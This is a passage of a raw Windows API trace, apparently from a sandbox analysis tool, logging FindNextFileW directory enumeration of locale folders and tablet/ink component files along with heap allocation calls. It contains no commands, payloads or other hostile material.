ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0045.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0045.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0045.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0045.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0045.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.510] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0045.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0045.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0045.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", 